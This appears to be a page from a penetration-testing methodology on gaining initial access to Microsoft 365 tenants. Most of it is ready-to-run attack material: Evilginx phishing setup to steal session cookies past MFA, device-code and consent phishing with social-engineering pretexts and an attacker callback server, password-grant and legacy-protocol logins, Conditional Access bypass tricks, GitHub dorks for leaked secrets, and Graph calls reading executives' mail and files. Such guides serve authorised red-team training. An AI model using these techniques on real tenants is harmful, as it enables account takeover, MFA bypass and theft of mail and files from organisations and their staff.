Initial Access
Gain a first foothold in the target Microsoft 365 tenant. This phase covers phishing, OAuth abuse, legacy protocol exploitation, and token-based attack paths to establish authenticated access.
Phase 2 Progress
0 / 8 completedTools Used in This Phase
Phishing & Social Engineering
Evilginx is a man-in-the-middle attack framework that sits between the victim and the real Microsoft login page. Unlike traditional credential phishing that uses cloned pages, Evilginx acts as a reverse proxy — it serves the genuine Microsoft 365 login page to the victim while intercepting credentials and session tokens in real time. This means it defeats most MFA implementations because it captures the fully-authenticated session cookie after the user completes their MFA challenge.
Setting Up Evilginx
Install Evilginx on your attack infrastructure (a VPS with a public IP and a domain pointed at it). The following commands configure the framework for targeting Microsoft 365 login.
# Set the server's public IP and domain
config domain yourdomain.com
config ipv4 203.0.113.50
# Configure the Microsoft 365 phishlet hostname
phishlets hostname o365 login.yourdomain.com
# Enable the O365 phishlet
phishlets enable o365
# Create a lure (the phishing URL to send to the target)
lures create o365
# Optionally set a redirect URL after capture
lures edit 0 redirect_url https://www.office.com
# Get the phishing URL
lures get-url 0
How the Attack Works
- The attacker sends the Evilginx lure URL to the victim (via email, Teams message, SMS, etc.).
- The victim clicks the link and sees the real Microsoft login page, proxied through Evilginx.
- The victim enters their username, password, and completes any MFA challenge as normal.
- Evilginx intercepts the session cookies (
ESTSAUTH,ESTSAUTHPERSISTENT) issued by Microsoft after successful authentication. - The attacker imports these cookies into their own browser to hijack the authenticated session without needing the password or MFA token.
# View captured sessions
sessions
# View details of a specific captured session
sessions 1
# Output includes: username, password, captured tokens/cookies
# Import the ESTSAUTH cookie into your browser to hijack the session
The OAuth 2.0 device authorization grant (RFC 8628) is designed for input-constrained devices like smart TVs. The attacker generates a device code, then tricks the victim into entering it at https://microsoft.com/devicelogin. When the victim authenticates with the code, the attacker receives valid access and refresh tokens for the victim's account. This attack is highly effective because the user authenticates on the legitimate Microsoft domain — no fake login page is needed.
login.microsoftonline.com domain. The user sees a real Microsoft page, a valid TLS certificate, and a standard MFA prompt. The device code expires after 15 minutes, so the social engineering pretext must create urgency.Generating the Device Code
Use TokenTactics (a PowerShell module for Azure AD token manipulation) to generate a device code targeting Microsoft Graph.
# Import TokenTactics module
Import-Module TokenTactics
# Generate a device code for Microsoft Graph
Get-AzureToken -Client MSGraph -Device
# Output will display:
# user_code : ABCD1234
# device_code : <long device code string>
# message : To sign in, use a web browser to open
# https://microsoft.com/devicelogin and enter
# the code ABCD1234 to authenticate.
# The tool will poll for token completion automatically
# Once the victim enters the code and authenticates,
# you receive access_token and refresh_token
Alternative: Using AADInternals
# Import AADInternals
Import-Module AADInternals
# Initiate device code flow
$response = Invoke-AADIntDeviceCodeFlow
# Display the user code to send to the victim
$response.user_code
# Output: ABCD1234
# Wait for the victim to authenticate
$tokens = Wait-AADIntDeviceCodeFlowCompletion -DeviceCodeResponse $response
# The $tokens object now contains access_token and refresh_token
$tokens.access_token
Alternative: Raw curl Request
# Step 1: Request the device code
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
-d "scope=https://graph.microsoft.com/.default offline_access"
# Returns: user_code, device_code, verification_uri, expires_in
# Send the user_code and verification_uri to the victim
# Step 2: Poll for token (repeat until authorized or expired)
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
-d "device_code=<DEVICE_CODE_FROM_STEP_1>"
Social Engineering Pretexts
- IT Support: "We're migrating your account to new infrastructure. Please visit microsoft.com/devicelogin and enter code ABCD1234 to re-verify."
- Teams Message: Impersonate a colleague or IT admin via Teams, claiming they need the user to approve a new device.
- MFA Reset: "Your MFA is being upgraded. Verify your identity at the Microsoft portal using code ABCD1234."
d3590ed6-52b3-4102-aeff-aad2292ab01c is the Microsoft Office first-party app — using first-party client IDs avoids triggering consent prompts and looks less suspicious in sign-in logs.Consent phishing exploits the Azure AD OAuth consent mechanism. The attacker registers a malicious application in their own Azure AD tenant and crafts an authorization URL requesting dangerous permissions (such as Mail.Read, Files.ReadWrite.All, User.Read). When a target user clicks the link and grants consent, the attacker's application receives persistent API access to the user's data — no password or token theft required. The attacker can then silently read email, download files, and more via the Microsoft Graph API using the granted tokens.
Step A: Register the Malicious Application
In your attacker-controlled Azure AD tenant (or a free Azure account), register a new application with a redirect URI you control.
# 1. Go to Azure Portal > Azure Active Directory > App registrations > New registration
# 2. Name: "SharePoint Document Viewer" (make it look legitimate)
# 3. Supported account types: "Accounts in any organizational directory" (multi-tenant)
# 4. Redirect URI: https://your-attacker-server.com/callback (Web)
# 5. After creation, note the Application (client) ID
# 6. Under Certificates & secrets, create a new client secret
# 7. Under API permissions, add delegated permissions:
# - Microsoft Graph: Mail.Read, Mail.ReadWrite
# - Microsoft Graph: Files.ReadWrite.All
# - Microsoft Graph: User.Read
# - Microsoft Graph: Contacts.Read
# Do NOT grant admin consent — the victim user will grant consent
Step B: Craft the Authorization URL
Build the OAuth 2.0 authorization URL that will prompt the victim to grant consent to your malicious application.
# The consent phishing URL
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<YOUR_MALICIOUS_APP_CLIENT_ID>
&response_type=code
&redirect_uri=https://your-attacker-server.com/callback
&scope=openid profile email Mail.Read Mail.ReadWrite Files.ReadWrite.All User.Read offline_access
&response_mode=query
&state=random_state_value
Step C: Exchange the Authorization Code for Tokens
When the victim grants consent, Microsoft redirects them to your redirect_uri with an authorization code. Exchange this for access and refresh tokens.
# Exchange authorization code for tokens
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=<YOUR_MALICIOUS_APP_CLIENT_ID>" \
-d "client_secret=<YOUR_APP_SECRET>" \
-d "code=<AUTHORIZATION_CODE_FROM_REDIRECT>" \
-d "redirect_uri=https://your-attacker-server.com/callback" \
-d "grant_type=authorization_code" \
-d "scope=openid profile email Mail.Read Mail.ReadWrite Files.ReadWrite.All User.Read offline_access"
# Response contains: access_token, refresh_token, id_token
# Use the access_token to call Microsoft Graph on behalf of the victim
# Example: Read victim's mailbox
curl -s -H "Authorization: Bearer <ACCESS_TOKEN>" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=10&\$select=subject,from,receivedDateTime"
Get-MgServicePrincipal.Authentication Endpoint Abuse
The Resource Owner Password Credential (ROPC) grant type allows an application to authenticate a user by directly sending their username and password to the Azure AD token endpoint. This is an OAuth 2.0 legacy flow intended for migration scenarios, but when it is not disabled it provides a direct path from credentials to tokens — without any browser interaction, MFA prompt, or conditional access evaluation (in many configurations).
Direct Token Request via curl
# ROPC authentication - directly exchange username/password for tokens
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
-d "grant_type=password" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
-d "scope=https://graph.microsoft.com/.default offline_access" \
-d "username=user@target.com" \
-d "password=Password123!"
# If successful, returns: access_token, refresh_token, token_type, expires_in
# If MFA is required: AADSTS50076 error
# If legacy auth blocked: AADSTS7000218 or AADSTS50126 error
Using AADInternals
# Authenticate via ROPC using AADInternals
$cred = Get-Credential
$tokens = Get-AADIntAccessTokenForMSGraph -Credentials $cred
# Or with explicit username/password
$password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("user@target.com", $password)
Get-AADIntAccessTokenForMSGraph -Credentials $cred -SaveToCache
Testing Multiple Resources
Different resource scopes may have different conditional access enforcement. Test ROPC against multiple resources:
# Test ROPC against different resource scopes
# Microsoft Graph
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"
# Exchange Online (Outlook)
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://outlook.office365.com/.default&username=user@target.com&password=Pass123!"
# SharePoint Online
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://<TENANT>.sharepoint.com/.default&username=user@target.com&password=Pass123!"
# Azure Management
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://management.azure.com/.default&username=user@target.com&password=Pass123!"
Legacy authentication protocols in M365 do not support modern authentication flows and therefore cannot enforce MFA. If Conditional Access policies do not explicitly block legacy authentication, an attacker with valid credentials can authenticate via these protocols and bypass MFA entirely. Common legacy protocols include IMAP, POP3, SMTP AUTH, Exchange Web Services (EWS), Exchange ActiveSync, Autodiscover, and legacy Outlook clients (pre-MAPI over HTTP).
Testing IMAP Authentication
# Test IMAP Basic Authentication against Exchange Online
openssl s_client -connect outlook.office365.com:993 -crlf -quiet
# Once connected, authenticate:
a1 LOGIN user@target.com Password123!
# If successful: a1 OK LOGIN completed.
# If Basic Auth blocked: a1 NO LOGIN failed (BAD username or password)
Testing POP3 Authentication
# Test POP3 Basic Authentication
openssl s_client -connect outlook.office365.com:995 -crlf -quiet
# Once connected:
USER user@target.com
PASS Password123!
# If successful: +OK User successfully logged on.
Testing SMTP AUTH
# Test SMTP AUTH (often still enabled for application relay)
openssl s_client -connect smtp.office365.com:587 -starttls smtp -crlf -quiet
# Send EHLO and AUTH LOGIN
EHLO test.com
AUTH LOGIN
# Enter base64-encoded username
dXNlckB0YXJnZXQuY29t
# Enter base64-encoded password
UGFzc3dvcmQxMjMh
# Generate base64 values:
echo -n "user@target.com" | base64
echo -n "Password123!" | base64
Testing with MFASweep
MFASweep automates testing multiple protocols and authentication methods to find those that bypass MFA.
# Import MFASweep
Import-Module .\MFASweep.ps1
# Run a full sweep of authentication protocols
Invoke-MFASweep -Username user@target.com -Password Password123!
# MFASweep tests the following protocols:
# - Exchange Web Services (EWS)
# - Microsoft Graph API
# - Azure Service Management API
# - Microsoft 365 Exchange ActiveSync
# - ADFS (if federated)
# - Legacy Outlook/EWS endpoints
# Output shows which methods succeed, fail, or require MFA
Testing Exchange Web Services (EWS)
# Test EWS Basic Authentication
curl -s -u "user@target.com:Password123!" \
"https://outlook.office365.com/EWS/Exchange.asmx" \
-H "Content-Type: text/xml"
# HTTP 200 = Basic Auth is working (MFA bypassed)
# HTTP 401 = Credentials wrong or Basic Auth disabled
# HTTP 456 = MFA required / Conditional Access blocked
Set-TransportConfig -SmtpClientAuthenticationDisabled $true, then selectively enable it per-mailbox only where strictly necessary. Review the Azure AD sign-in logs with a filter for "Legacy Authentication Client" to identify ongoing usage.Conditional Access (CA) policies are the primary gatekeeper in Azure AD for enforcing MFA, device compliance, and location-based controls. However, CA policies are only effective against the conditions they are configured to cover. Gaps in coverage — uncovered client app types, specific platform exceptions, untargeted cloud apps, or excluded user groups — can be identified and exploited to achieve authentication without triggering MFA or other controls.
Testing Different Client Application IDs
CA policies can target specific cloud apps but may not cover all first-party Microsoft client IDs. Try authenticating using different well-known client IDs to see if CA enforcement differs.
# Common first-party Microsoft client IDs to test
# Microsoft Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
# Azure CLI: 04b07795-a71b-4346-935f-02f9a1efa4ce
# Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2
# Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Outlook Mobile: 27922004-5251-4030-b22d-91ecd9a37084
# OneDrive: ab9b8c07-8f02-4f72-87fa-80105867a763
# MS Graph PowerShell: 14d82eec-204b-4c2f-b7e8-296a70dab67e
# Windows AzureAD: 00000002-0000-0000-c000-000000000000
# Test ROPC with Azure CLI client ID (often less restricted)
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "grant_type=password" \
-d "client_id=04b07795-a71b-4346-935f-02f9a1efa4ce" \
-d "scope=https://graph.microsoft.com/.default" \
-d "username=user@target.com" \
-d "password=Password123!"
# If one client_id triggers MFA but another doesn't,
# the CA policy has a gap in cloud app coverage
Testing Platform Spoofing
CA policies may enforce MFA only for specific platforms (e.g., Windows, macOS) but not others (e.g., Linux, mobile). User-Agent manipulation can influence platform detection.
# Test with different User-Agent strings to simulate platforms
# Simulate Linux (often not covered by device compliance policies)
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" \
-d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"
# Simulate iOS
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)" \
-d "grant_type=password&client_id=27922004-5251-4030-b22d-91ecd9a37084&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"
MFASweep: Automated CA Gap Testing
# MFASweep tests multiple authentication endpoints and protocols
# to identify which ones bypass MFA/CA policies
Invoke-MFASweep -Username user@target.com -Password Password123!
# Example output:
# [*] Testing Microsoft Graph API... MFA Required
# [*] Testing Exchange Web Services... Success! (No MFA)
# [*] Testing Azure Service Management API... MFA Required
# [*] Testing Exchange ActiveSync... Success! (No MFA)
# [*] Testing ADFS endpoint... Not Federated
#
# Any "Success" result without MFA indicates a CA policy gap
Exploiting Named Location Gaps
If CA policies use named locations (trusted IPs) to skip MFA, VPN or cloud hosting in those IP ranges can bypass controls.
# If the target has trusted office IPs that bypass MFA,
# authenticate from within those IP ranges
# Check if the target uses known cloud IP ranges as "trusted"
# Common mistake: trusting broad Azure/AWS CIDR blocks
# Test authentication from a VPS in the same cloud region
# as the target's infrastructure to see if MFA is skipped
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"
# If this succeeds without MFA from a cloud VPS IP but fails
# from your home IP, the named location trust is too broad
Token-Based Attacks
Developers and administrators frequently commit secrets to public repositories by accident. Azure AD client secrets, OAuth tokens, connection strings containing credentials, and API keys for Microsoft Graph can all be found in public code repositories (GitHub, GitLab, Bitbucket), paste sites (Pastebin, Gist), CI/CD configurations, Docker images, and public documentation. Finding and using these leaked credentials provides initial access without any user interaction.
Scanning with TruffleHog
# Scan a specific GitHub organization for secrets
trufflehog github --org=target-org --only-verified
# Scan a specific repository
trufflehog github --repo=https://github.com/target-org/target-repo
# Scan including commit history (finds rotated/deleted secrets)
trufflehog git https://github.com/target-org/target-repo.git
# Scan a local clone with full history
trufflehog filesystem --directory=./cloned-repo
# Scan GitLab
trufflehog gitlab --token=glpat-xxxx --group=target-group
Scanning with Gitleaks
# Scan a repository including full git history
gitleaks detect --source=./cloned-repo -v
# Scan and output results in JSON format
gitleaks detect --source=./cloned-repo --report-format=json --report-path=results.json
# Scan a specific branch
gitleaks detect --source=./cloned-repo --log-opts="--branches=main"
Manual GitHub Searching (GitHub Dorks)
# Search for Azure AD client secrets in target's repos
org:target-org "client_secret"
org:target-org "ClientSecret"
org:target-org "tenantId" "clientId" "clientSecret"
# Search for connection strings
org:target-org "DefaultEndpointsProtocol" "AccountKey"
org:target-org "Server=tcp:" "Password="
org:target-org "Data Source=" "Password="
# Search for OAuth tokens and refresh tokens
org:target-org "refresh_token"
org:target-org "eyJ0eXAiOiJKV1QiL" # Base64 JWT prefix
# Search for PFX/certificate passwords
org:target-org "pfx" "password"
org:target-org extension:pfx
org:target-org extension:pem "PRIVATE KEY"
# Search for Azure deployment credentials
org:target-org "AZURE_CLIENT_SECRET"
org:target-org "ARM_CLIENT_SECRET"
org:target-org filename:.env "AZURE"
org:target-org filename:terraform.tfstate
Using Found Secrets
# If you find an app registration client_id + client_secret,
# authenticate as the service principal (app-only)
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
-d "grant_type=client_credentials" \
-d "client_id=<LEAKED_CLIENT_ID>" \
-d "client_secret=<LEAKED_CLIENT_SECRET>" \
-d "scope=https://graph.microsoft.com/.default"
# If you find a refresh token, exchange it for new tokens
curl -s -X POST \
"https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=refresh_token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
-d "refresh_token=<LEAKED_REFRESH_TOKEN>" \
-d "scope=https://graph.microsoft.com/.default"
Service principals (the identity objects backing Azure AD app registrations) authenticate using client credentials (secrets or certificates) via the OAuth 2.0 client credentials grant. Unlike user accounts, service principals do not go through interactive authentication and are not subject to MFA. If a service principal has overly broad permissions (e.g., Mail.ReadWrite, Files.ReadWrite.All, Directory.ReadWrite.All) and its credentials are weak, exposed, or obtainable, it provides a powerful initial access vector that completely bypasses user-facing security controls.
Enumerating Service Principals with Exposed Credentials
# If you have any valid token (even low-privilege), enumerate app registrations
# Look for apps with password credentials (client secrets)
# Using Microsoft Graph API
$headers = @{ Authorization = "Bearer $accessToken" }
# List all applications (requires Directory.Read.All or Application.Read.All)
$apps = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications?\$select=displayName,appId,passwordCredentials,keyCredentials" -Headers $headers
# Find apps with password credentials (client secrets)
$apps.value | Where-Object { $_.passwordCredentials.Count -gt 0 } | Select-Object displayName, appId
# Find apps with key credentials (certificates)
$apps.value | Where-Object { $_.keyCredentials.Count -gt 0 } | Select-Object displayName, appId
Checking Service Principal Permissions
# Get the service principal's granted application permissions
$spId = "<SERVICE_PRINCIPAL_OBJECT_ID>"
# List app role assignments (application permissions granted with admin consent)
$roles = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/appRoleAssignments" -Headers $headers
# Each entry shows the resourceDisplayName and appRoleId
# Cross-reference appRoleId with the resource's published roles
# to determine the permission name (e.g., Mail.ReadWrite, Files.Read.All)
$roles.value | ForEach-Object {
Write-Host "Resource: $($_.resourceDisplayName) | Role ID: $($_.appRoleId)"
}
# Look for high-value permissions:
# - Directory.ReadWrite.All (can modify any directory object)
# - Mail.ReadWrite (read/write any user's mailbox)
# - Files.ReadWrite.All (access any user's OneDrive/SharePoint files)
# - RoleManagement.ReadWrite.Directory (assign directory roles)
# - Application.ReadWrite.All (create/modify any application)
Authenticating as a Service Principal
# Client credentials grant — authenticate as the service principal
curl -s -X POST \
"https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
-d "grant_type=client_credentials" \
-d "client_id=<APP_CLIENT_ID>" \
-d "client_secret=<APP_CLIENT_SECRET>" \
-d "scope=https://graph.microsoft.com/.default"
# Returns an application-level access token
# This token carries ALL application permissions granted to the app
# No MFA, no user interaction, no Conditional Access evaluation
Certificate-Based Service Principal Auth
# If you obtained a certificate (.pfx) for a service principal
$cert = Get-PfxCertificate -FilePath "./leaked-cert.pfx"
# Using Microsoft.Graph PowerShell
Connect-MgGraph -ClientId "<APP_CLIENT_ID>" -TenantId "<TENANT_ID>" -Certificate $cert
# Using AADInternals with certificate
$token = Get-AADIntAccessTokenForMSGraph -ClientId "<APP_CLIENT_ID>" -TenantId "<TENANT_ID>" -PfxFileName "./leaked-cert.pfx"
Post-Access: Using Service Principal Tokens
# With an application token for a service principal that has Mail.ReadWrite:
# Read any user's mailbox
curl -s -H "Authorization: Bearer <APP_TOKEN>" \
"https://graph.microsoft.com/v1.0/users/ceo@target.com/messages?\$top=10&\$select=subject,from"
# With Files.ReadWrite.All: access any user's OneDrive
curl -s -H "Authorization: Bearer <APP_TOKEN>" \
"https://graph.microsoft.com/v1.0/users/cfo@target.com/drive/root/children"
# With Directory.ReadWrite.All: enumerate all users, groups, roles
curl -s -H "Authorization: Bearer <APP_TOKEN>" \
"https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,jobTitle"